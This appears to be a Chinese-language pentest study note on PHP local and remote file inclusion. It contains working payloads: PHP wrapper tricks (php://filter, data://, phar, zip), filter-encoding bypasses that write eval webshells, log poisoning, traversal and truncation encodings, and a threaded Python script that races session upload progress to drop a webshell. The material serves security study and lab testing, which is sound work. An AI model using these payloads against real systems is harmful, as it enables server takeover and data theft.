PHP文件包含漏洞

php文件包含函数

1
2
3
4
include()		# 如果出错的话,只会提出警告,会继续执行后续语句	
include_once()
require() # 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句
require_once() # _once()一个文件已经被包含过了,则不会再包含它,以避免函数重定义或变量重赋值等问题。

示例代码

1
2
3
4
5
6
7
<?
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

LFI本地文件包含

RFI远程文件包含

相较于LFI本地文件包含漏洞其被包含的文件源不从磁盘上获取

php.ini中需要配置

1
2
allow_url_fopen = On
allow_url_include = On

allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off

PHP伪协议

php:// 协议

php://input 用于执行php代码

allow_url_include = On
allow_url_fopen = ON/OFF

1
2
3
4
<?php  
$test=$_GET['a'];
include($test);
?>

image.png

php://filter 用于读写源码

allow_url_include = On/OFF
allow_url_fopen = ON/OFF

1
2
?file=php://filter/convert.base64-encode/resource=flag.php
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解码

1
2
>>> import base64
>>> base64.b64decode("")

写文件file_put_contents

1
file_put_contents(urldecode($file),"<?php exit();".$content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)

rot13偏移写入(PHP不开启short_open_tag短标签)

1
php://filter/write=string.rot13/resource=rot.php

image-20220531102102686

urldecode()文件名编码两次

image-20220531103119027

访问写入的文件

image-20220531103142792

base64写入文件

1
file_put_contents(urldecode($file), "<?php die();?>".$content);

image-20220531104739329

base64在解码的时候是将4个字节转化为3个字节,phpdie6个字符我们就要添加2个字符让前面的可以进行编码

image-20220531105318984

以下两种情况详见file_put_content和死亡·杂糅代码之缘

1
2
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx")

其他编码

1
2
3
4
5
<?php
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
1
2
payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

PHP支持的字符编码

data:// 数据流封装器

协议格式:

data://:资源类型;编码,内容

allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

allow_url_fopen :on
allow_url_include:on

php 版本大于等于 php5.2

1
2
3
4
<?php  
$filename=$_GET["a"];
include("$filename");
?>

利用方式:

1
2
3
4
http://127.0.0.1/sec/test.php?a=data://text/plain,<?php system("ipconfig") ?>
http://127.0.0.1/sec/test.php?a=data://text/plain,<?php phpinfo();
or
http://127.0.0.1/sec/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data:////可省略

phar://

php版本大于等于php5.3.0

文件phpinfo.txt,打包成zip压缩包test.zip

1
2
3
4
# 绝对路径
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
# 相对路径
index.php?file=phar://test.zip/phpinfo.txt

zip://

php 版本大于等于 php5.3.0+绝对路径

文件zipd.txt,打包成zip压缩包test.zip

1
http://127.0.0.1/wahaha.php?a=zip://C:\Users\DropAnn\Desktop\test.zip%23zipd.txt

image.png

包含日志文件

先插入(请求)后包含

image-20220526164130259

<?=eval($_POST[6]);?>同理,注意UA中不解码

image-20220526164222441

日志和配置文件默认存放路径

文件 路径
apache+Linux日志默认路径 /etc/httpd/logs/access_log或/var/log/httpd/access_log
apache+win2003日志默认路径 D:\xampp\apache\logs\access.log以及D:\xampp\apache\logs\error.log
IIS6.0+win2003默认日志文件 C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默认日志文件 %SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件 用户安装目录logs目录下(/usr/local/nginx/logs)/var/log/nginx/access.log
apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件 C:\Windows\System32\inetsrv\config\applicationHost.config

session包含

session存储过程

image-20220531090947377

添加后会在默认目录下生成临时文件/tmp/sess_aaa

session常见存储路径

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

利用条件

知道session存储位置

代码中存在session_start()或者session.auto_start=Onsession.auto_start = 1PHP在接收请求的时候会自动初始化Session,默认情况下,这个选项都是关闭的。

拥有读写session文件的权限

PHP_SESSION_UPLOAD_PRGRESS竞争条件

在php5.4后php.ini中添加

1
2
3
4
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

enabled=on表示php将会把文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争条件,在session文件内容清空前进行包含利用。

测试环境为:php5.5.9

测试代码如下:

1
2
3
4
<?php
$b=$_GET['file'];
include "$b";
?>

测试的时候用了phpstudy,其他情况参考session常见存储路径

image-20220621020614337

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests as re
import io
import threading

url = "http://192.168.1.17/test/inclu.php"
sessionid = "testid"
data = {
"1": "file_put_contents('1.php','<?php eval($_POST[2]);?>');"
}


def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
response = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID': sessionid}, files={'file': ('test.txt', fileBytes)})
print(response.status_code)
print(response.text)


def read(session):
while True:
response = session.post(url + '?file=D:/phpstudy_pro/Extensions/tmp/tmp/sess_' + sessionid, data=data, cookies={
'PHPSSESSID': sessionid
})
response2 = session.get('http://192.168.1.17/test/' + '1.php')
if response2.status_code == 200:
print('+++done+++')
else:
print(response2.status_code)


if __name__ == '__main__':
# write(re.session())
evnet = threading.Event()
with re.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

测试结果

image-20220621015801442

利用session.upload_progress进行文件包含和反序列化渗透

绕过方式

指定前缀

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

同目录包含 file=.htaccess

目录遍历 ?file=../../../../../../../../../var/lib/locate.db

多次编码

利用url编码

../

  • %2e%2e%2f
  • ..%2f
  • %2e%2e/

..\

  • %2e%2e%5c
  • ..%5c
  • %2e%2e\

二次编码 %25对应的是%%2e对应的是.,所以 .%252e/ 对应的是 ../

../

  • %252e%252e%252f

..\

  • %252e%252e%255c

容器/服务器的编码方式

../

  • ..%c0%af

  • %c0%ae%c0%ae/

  • 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)

    Apache Tomcat Directory Traversal

..\

  • ..%c1%9c

指定后缀

%00截断

magic_quotes_gpc=Off,而且php版本<5.3.4

1
2
3
4
<?php  
$test = $_GET['a'];
include $test.'txt';
?>

image.png

长度截断

php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./达到最大值后缀就会直接被抛弃

url格式

使用远程文件包含注意下面两个配置

1
2
allow_url_fopen = On
allow_url_include = On

query(?)

1
http://127.0.0.1/test/1.php?a=http://192.168.1.105/phpinfo.php?

image.png

fragment(#)

image.png